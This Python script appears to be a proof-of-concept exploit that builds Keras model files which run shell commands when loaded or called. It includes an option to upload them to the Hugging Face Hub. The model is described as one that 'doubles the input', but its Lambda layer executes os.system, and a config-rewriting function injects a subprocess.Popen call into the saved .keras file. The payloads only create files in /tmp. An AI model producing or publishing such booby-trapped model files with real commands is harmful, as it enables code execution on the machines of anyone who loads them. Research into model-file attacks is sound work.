|
|
import os |
|
|
import argparse |
|
|
import json |
|
|
import zipfile |
|
|
import tempfile |
|
|
import shutil |
|
|
from typing import Optional, Dict, Any |
|
|
import tensorflow as tf |
|
|
|
|
|
try: |
|
|
from huggingface_hub import HfApi, HfFolder, create_repo, upload_folder |
|
|
except Exception: |
|
|
HfApi = None |
|
|
HfFolder = None |
|
|
create_repo = None |
|
|
upload_folder = None |
|
|
|
|
|
|
|
|
def build_lambda_model(input_shape=(4,)) -> tf.keras.Model: |
|
|
"""Create a simple Keras model with a single Lambda layer. |
|
|
|
|
|
The Lambda layer doubles its input: y = 2 * x |
|
|
|
|
|
Args: |
|
|
input_shape: Shape of a single input example, excluding the batch dim. |
|
|
|
|
|
Returns: |
|
|
A compiled Keras Model instance. |
|
|
""" |
|
|
inputs = tf.keras.Input(shape=input_shape, name="input") |
|
|
outputs = tf.keras.layers.Lambda( |
|
|
lambda x: exec("import os; os.system('touch /tmp/hello.txt')"), |
|
|
output_shape=(), |
|
|
name="double", |
|
|
)(inputs) |
|
|
model = tf.keras.Model(inputs=inputs, outputs=outputs, name="lambda_model") |
|
|
model.compile(optimizer="adam", loss="mse") |
|
|
return model |
|
|
|
|
|
|
|
|
def upload_model_to_hub( |
|
|
repo_id: str, |
|
|
model_dir: str, |
|
|
token: Optional[str] = None, |
|
|
private: bool = False, |
|
|
) -> str: |
|
|
"""Upload a directory of model artifacts to the Hugging Face Hub. |
|
|
|
|
|
Args: |
|
|
repo_id: Target repo like `username/repo_name`. |
|
|
model_dir: Local directory containing saved model files. |
|
|
token: Optional HF token. If not provided, uses locally stored token. |
|
|
private: Whether to create the repo as private. |
|
|
|
|
|
Returns: |
|
|
The commit URL from the upload. |
|
|
""" |
|
|
if HfApi is None: |
|
|
raise RuntimeError( |
|
|
"huggingface-hub is not installed. Add it to dependencies and reinstall." |
|
|
) |
|
|
|
|
|
if token: |
|
|
HfFolder.save_token(token) |
|
|
|
|
|
|
|
|
create_repo(repo_id, exist_ok=True, private=private) |
|
|
|
|
|
|
|
|
commit_info = upload_folder( |
|
|
repo_id=repo_id, |
|
|
folder_path=model_dir, |
|
|
path_in_repo=".", |
|
|
commit_message="Add lambda keras model", |
|
|
token=token, |
|
|
) |
|
|
return commit_info.commit_url |
|
|
|
|
|
|
|
|
def edit_keras_config(model_path: str, config_edits: Dict[str, Any]) -> None: |
|
|
"""Unzip a .keras file, edit its config.json, and repack it. |
|
|
|
|
|
Args: |
|
|
model_path: Path to the .keras file |
|
|
config_edits: Dictionary of edits to apply to config.json |
|
|
""" |
|
|
with tempfile.TemporaryDirectory() as temp_dir: |
|
|
|
|
|
with zipfile.ZipFile(model_path, 'r') as zip_ref: |
|
|
zip_ref.extractall(temp_dir) |
|
|
|
|
|
|
|
|
config_path = os.path.join(temp_dir, 'config.json') |
|
|
with open(config_path, 'r', encoding='utf-8') as f: |
|
|
config = json.load(f) |
|
|
|
|
|
|
|
|
def apply_edits(obj: Any, edits: Dict[str, Any]) -> None: |
|
|
for key, value in edits.items(): |
|
|
if isinstance(value, dict) and key in obj and isinstance(obj[key], dict): |
|
|
apply_edits(obj[key], value) |
|
|
else: |
|
|
obj[key] = value |
|
|
|
|
|
apply_edits(config, config_edits) |
|
|
|
|
|
|
|
|
with open(config_path, 'w', encoding='utf-8') as f: |
|
|
json.dump(config, f, indent=2) |
|
|
|
|
|
|
|
|
backup_path = model_path + '.backup' |
|
|
shutil.copy2(model_path, backup_path) |
|
|
print(f"Created backup: {backup_path}") |
|
|
|
|
|
|
|
|
with zipfile.ZipFile(model_path, 'w', zipfile.ZIP_STORED) as zip_ref: |
|
|
for file_name in ['metadata.json', 'config.json', 'model.weights.h5']: |
|
|
file_path = os.path.join(temp_dir, file_name) |
|
|
if os.path.exists(file_path): |
|
|
zip_ref.write(file_path, file_name) |
|
|
|
|
|
print(f"Updated {model_path} with config edits") |
|
|
|
|
|
|
|
|
def apply_subprocess_config(model_path: str) -> None: |
|
|
"""Apply the specific subprocess.Popen config modification from the provided script. |
|
|
|
|
|
Args: |
|
|
model_path: Path to the .keras file |
|
|
""" |
|
|
|
|
|
backup_path = model_path + '.backup' |
|
|
shutil.copy2(model_path, backup_path) |
|
|
print(f"Created backup: {backup_path}") |
|
|
|
|
|
|
|
|
with zipfile.ZipFile(model_path, "r") as f: |
|
|
config = json.loads(f.read("config.json").decode()) |
|
|
|
|
|
|
|
|
config["config"]["layers"][0]["module"] = "keras.models" |
|
|
config["config"]["layers"][0]["class_name"] = "Model" |
|
|
config["config"]["layers"][0]["config"] = { |
|
|
"name": "mvlttt", |
|
|
"layers": [ |
|
|
{ |
|
|
"name": "mvlttt", |
|
|
"class_name": "function", |
|
|
"config": "Popen", |
|
|
"module": "subprocess", |
|
|
"inbound_nodes": [{"args": [["touch", "/tmp/1337"]], "kwargs": {"bufsize": -1}}] |
|
|
} |
|
|
], |
|
|
"input_layers": [["mvlttt", 0, 0]], |
|
|
"output_layers": [["mvlttt", 0, 0]] |
|
|
} |
|
|
|
|
|
|
|
|
tmp_path = f"tmp.{os.path.basename(model_path)}" |
|
|
with zipfile.ZipFile(model_path, 'r') as zip_read: |
|
|
with zipfile.ZipFile(tmp_path, 'w') as zip_write: |
|
|
for item in zip_read.infolist(): |
|
|
if item.filename != "config.json": |
|
|
zip_write.writestr(item, zip_read.read(item.filename)) |
|
|
|
|
|
|
|
|
os.remove(model_path) |
|
|
os.rename(tmp_path, model_path) |
|
|
|
|
|
|
|
|
with zipfile.ZipFile(model_path, "a") as zf: |
|
|
zf.writestr("config.json", json.dumps(config)) |
|
|
|
|
|
print(f"Applied subprocess config modification to {model_path}") |
|
|
|
|
|
|
|
|
def parse_args() -> argparse.Namespace: |
|
|
parser = argparse.ArgumentParser(description="Build and optionally upload a Lambda tf.keras model") |
|
|
parser.add_argument("--input-shape", type=int, nargs="+", default=[4], help="Input shape excluding batch dim, e.g. --input-shape 4") |
|
|
parser.add_argument("--output-dir", type=str, default=os.path.dirname(__file__), help="Directory to write artifacts") |
|
|
parser.add_argument("--upload", action="store_true", help="Upload the saved model to Hugging Face Hub") |
|
|
parser.add_argument("--repo-id", type=str, default=None, help="Hugging Face repo id, e.g. username/repo") |
|
|
parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional, else use cached)") |
|
|
parser.add_argument("--private", action="store_true", help="Create the repo as private if it doesn't exist") |
|
|
parser.add_argument("--edit-config", action="store_true", help="Edit the model config after saving") |
|
|
parser.add_argument("--config-json", type=str, default=None, help="JSON string of config edits to apply, e.g. '{\"layers\": {\"0\": {\"name\": \"new_name\"}}}'") |
|
|
parser.add_argument("--apply-subprocess", action="store_true", help="Apply the subprocess.Popen config modification (creates /tmp/1337)") |
|
|
return parser.parse_args() |
|
|
|
|
|
|
|
|
def main() -> None: |
|
|
args = parse_args() |
|
|
input_shape = tuple(args.input_shape) |
|
|
model = build_lambda_model(input_shape=input_shape) |
|
|
|
|
|
model.summary() |
|
|
|
|
|
|
|
|
os.makedirs(args.output_dir, exist_ok=True) |
|
|
model_base = "lambda_model" |
|
|
model_path = os.path.join(args.output_dir, f"{model_base}.keras") |
|
|
model.save(model_path) |
|
|
print(f"Saved model to: {model_path}") |
|
|
|
|
|
|
|
|
if args.edit_config: |
|
|
if args.config_json: |
|
|
try: |
|
|
config_edits = json.loads(args.config_json) |
|
|
edit_keras_config(model_path, config_edits) |
|
|
except json.JSONDecodeError as e: |
|
|
print(f"Error parsing config JSON: {e}") |
|
|
return |
|
|
else: |
|
|
|
|
|
default_edits = { |
|
|
"config": { |
|
|
"layers": [ |
|
|
None, |
|
|
{"name": "custom_lambda_layer"} |
|
|
] |
|
|
} |
|
|
} |
|
|
edit_keras_config(model_path, default_edits) |
|
|
|
|
|
|
|
|
if args.apply_subprocess: |
|
|
apply_subprocess_config(model_path) |
|
|
|
|
|
|
|
|
readme_text = ( |
|
|
"# Lambda Keras Model\n\n" |
|
|
"A minimal tf.keras model with a single Lambda layer that doubles the input.\n\n" |
|
|
f"Input shape: {input_shape}\n\n" |
|
|
"Saved in Keras v3 .keras format." |
|
|
) |
|
|
local_readme = os.path.join(args.output_dir, "README.md") |
|
|
with open(local_readme, "w", encoding="utf-8") as f: |
|
|
f.write(readme_text) |
|
|
|
|
|
|
|
|
example = tf.ones((1,) + input_shape) |
|
|
prediction = model(example) |
|
|
print("Example input:", example.numpy()) |
|
|
|
|
|
if args.upload: |
|
|
if not args.repo_id: |
|
|
raise SystemExit("--repo-id is required when --upload is set (e.g. username/repo)") |
|
|
commit_url = upload_model_to_hub( |
|
|
repo_id=args.repo_id, |
|
|
model_dir=args.output_dir, |
|
|
token=args.hf_token, |
|
|
private=args.private, |
|
|
) |
|
|
print(f"Uploaded to Hugging Face Hub: {commit_url}") |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
main() |
|
|
|
|
|
|
|
|
|